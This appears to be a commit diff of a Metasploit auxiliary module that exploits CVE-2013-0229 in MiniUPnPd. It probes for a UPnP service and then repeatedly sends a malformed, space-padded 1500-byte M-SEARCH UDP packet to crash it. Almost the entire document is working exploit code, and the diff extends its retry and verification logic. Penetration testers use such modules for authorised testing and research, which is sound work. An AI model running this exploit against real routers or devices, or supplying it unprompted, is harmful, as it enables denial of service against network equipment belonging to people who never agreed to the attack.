@@ -14,48 +14,92 @@ class Metasploit3 < Msf::Auxiliary
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit' ,
18
- 'Description' =>
19
- %q{
17
+ 'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit' ,
18
+ 'Description' => %q{
20
19
This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
21
- server via specifically crafted UDP request.
22
- } ,
23
- 'Author' => [ 'Dejan Lukan' ] ,
24
- 'License' => MSF_LICENSE ,
25
- 'References' => [
26
- [ 'CVE' , '2013-0229' ] ,
27
- [ 'OSVDB' , '89625' ] ,
28
- ] ,
29
- 'DisclosureDate' => 'Mar 27 2013' ,
20
+ server via specifically crafted UDP request.
21
+ } ,
22
+ 'Author' =>
23
+ [
24
+ 'hdm' , # Vulnerability discovery
25
+ 'Dejan Lukan' # Metasploit module
26
+ ] ,
27
+ 'License' => MSF_LICENSE ,
28
+ 'References' =>
29
+ [
30
+ [ 'CVE' , '2013-0229' ] ,
31
+ [ 'OSVDB' , '89625' ] ,
32
+ [ 'BID' , '57607' ] ,
33
+ [ 'URL' , 'https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf' ]
34
+ ] ,
35
+ 'DisclosureDate' => 'Mar 27 2013' ,
30
36
) )
31
37
32
38
register_options (
33
39
[
34
40
Opt ::RPORT ( 1900 ) ,
41
+ OptInt . new ( 'ATTEMPTS' , [ true , 'Max number of attempts to DoS the remote MiniUPnP ending' , 3 ] )
35
42
] , self . class )
36
43
end
37
44
45
+ def send_probe ( udp_sock , probe )
46
+ udp_sock . put ( probe )
47
+ data = udp_sock . recvfrom
48
+ if data and not data [ 0 ] . empty?
49
+ return data [ 0 ]
50
+ else
51
+ return nil
52
+ end
53
+ end
54
+
38
55
def run
39
- # connect to the UDP port
40
- connect_udp
56
+ msearch_probe = "M-SEARCH * HTTP/1.1\r \n "
57
+ msearch_probe << "Host:239.255.255.250:1900\r \n "
58
+ msearch_probe << "ST:upnp:rootdevice\r \n "
59
+ msearch_probe << "Man:\" ssdp:discover\" \r \n "
60
+ msearch_probe << "MX:3\r \n "
61
+ msearch_probe << "\r \n "
41
62
42
63
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
43
64
# ST line
44
- sploit = "M-SEARCH * HTTP/1.1\r \n " \
45
- "HOST: 239.255.255.250:1900\r \n " \
46
- "ST:uuid:schemas:device:MX:3"
47
-
65
+ sploit = "M-SEARCH * HTTP/1.1\r \n "
66
+ sploit << "HOST: 239.255.255.250:1900\r \n "
67
+ sploit << "ST:uuid:schemas:device:MX:3"
48
68
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
49
69
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
50
70
# characters: there's more chance that the the program will run off the stack.
51
71
sploit += ' ' *( 1500 -sploit . length )
52
72
53
- # send the exploit to the target
54
- print_status ( "Sending malformed packet to #{ rhost } ..." )
55
- udp_sock . put ( sploit )
56
73
57
- # disconnect from the server
58
- print_status ( "The target should be unresponsive now..." )
74
+ # connect to the UDP port
75
+ connect_udp
76
+
77
+ print_status ( "#{ rhost } :#{ rport } - Checking UPnP..." )
78
+ response = send_probe ( udp_sock , msearch_probe )
79
+ if response . nil?
80
+ print_error ( "#{ rhost } :#{ rport } - UPnP end not found" )
81
+ disconnect_udp
82
+ return
83
+ end
84
+
85
+ ( 1 ..datastore [ 'ATTEMPTS' ] ) . each { |attempt |
86
+ print_status ( "#{ rhost } :#{ rport } - UPnP DoS attempt #{ attempt } ..." )
87
+
88
+ # send the exploit to the target
89
+ print_status ( "#{ rhost } :#{ rport } - Sending malformed packet..." )
90
+ udp_sock . put ( sploit )
91
+
92
+ print_status ( "#{ rhost } :#{ rport } - The target should be unresponsive now..." )
93
+ response = send_probe ( udp_sock , msearch_probe )
94
+ if response . nil?
95
+ print_good ( "#{ rhost } :#{ rport } - UPnP unresponsive" )
96
+ disconnect_udp
97
+ return
98
+ else
99
+ print_status ( "#{ rhost } :#{ rport } - UPnP is responsive still" )
100
+ end
101
+ }
102
+
59
103
disconnect_udp
60
104
end
61
105
end
0 commit comments